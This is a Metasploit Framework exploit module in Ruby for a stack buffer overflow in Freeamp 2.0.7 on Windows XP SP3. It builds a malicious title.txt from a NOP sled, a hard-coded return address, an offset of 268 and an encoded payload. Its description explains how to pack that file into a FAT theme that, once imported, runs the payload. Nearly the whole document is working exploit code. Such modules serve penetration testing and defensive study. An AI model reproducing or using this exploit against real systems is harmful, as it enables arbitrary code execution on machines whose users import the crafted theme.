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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Freeamp 2.0.7 (FAT File) Stack Buffer Overflow', 'Description'=> %q{ This module exploits a buffer overflow vulnerability found in Freeamp 2.0.7. The overflow occurs when an overly long string is parsed in the FAT file. This module creates a txt file that has to be used in the creation of a FAT file. The FAT file then has to be imported as a theme. To create the FAT file you need to first decompress the basic theme template, MakeTheme -d freeamp.fat. Next create the new FAT file MakeTheme crash.fat theme.xml title.txt *.bmp. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Ivan Garcia Ferreira', # Initial Discovery 'James Fitts' # Metasploit Module ], 'Version'=> '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17441' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3 EN', { 'Ret' => 0x1220161a, # push esp, ret 04 in download.ui 'Offset' => 268 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 23 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','title.txt']), ], self.class) end def exploit txt = make_nops(target['Offset']) txt << [target.ret].pack('V') txt << make_nops(50) txt << payload.encoded txt << make_nops(50) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(txt) end end |
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